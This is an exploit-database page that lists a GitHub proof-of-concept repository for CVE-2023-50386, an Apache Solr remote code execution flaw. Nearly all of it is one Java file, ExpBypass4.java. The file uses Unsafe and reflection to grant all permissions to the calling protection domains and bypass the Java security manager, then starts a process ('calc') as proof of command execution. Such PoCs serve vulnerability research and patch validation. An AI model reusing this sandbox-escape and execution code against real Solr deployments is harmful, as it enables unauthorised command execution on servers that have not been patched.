Exploit database

GH-0c117b7758823fc2b10bc4fe9e4753ac

vvmdx/apache-solr-rce_cve-2023-50386_poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-50386

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main/java/zk_backup_0/configs/conf1/ExpBypass4.java

Java · 1,963 bytes
/*
可使用exp:通过反射获取getProtectionDomain0,刷新栈帧权限,绕过安全管理器限制
*/
package zk_backup_0.configs.conf1;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;

public class ExpBypass4 {

    public static void main(String[] args) throws Exception {
        StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
        //遍历栈帧
        for (StackTraceElement stackTraceElement : stackTraceElements) {
            try {

                Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
                unsafeField.setAccessible(true);
                Unsafe unsafe = (Unsafe) unsafeField.get(null);

                Module module = Object.class.getModule();
                Class<?> currentClass = ExpBypass4.class;

                long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
                unsafe.getAndSetObject(currentClass, addr, module);

                Class clz = Class.forName(stackTraceElement.getClassName());
                //利用反射调用getProtectionDomain0方法
                Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
                getProtectionDomain.setAccessible(true);
                ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);

                if (pd != null) {
                    Field field = pd.getClass().getDeclaredField("hasAllPerm");
                    field.setAccessible(true);
                    field.set(pd, true);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
//        Runtime.getRuntime().exec("calc");
        String command = "calc";
        ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));
        Process process = builder.start();
    }
}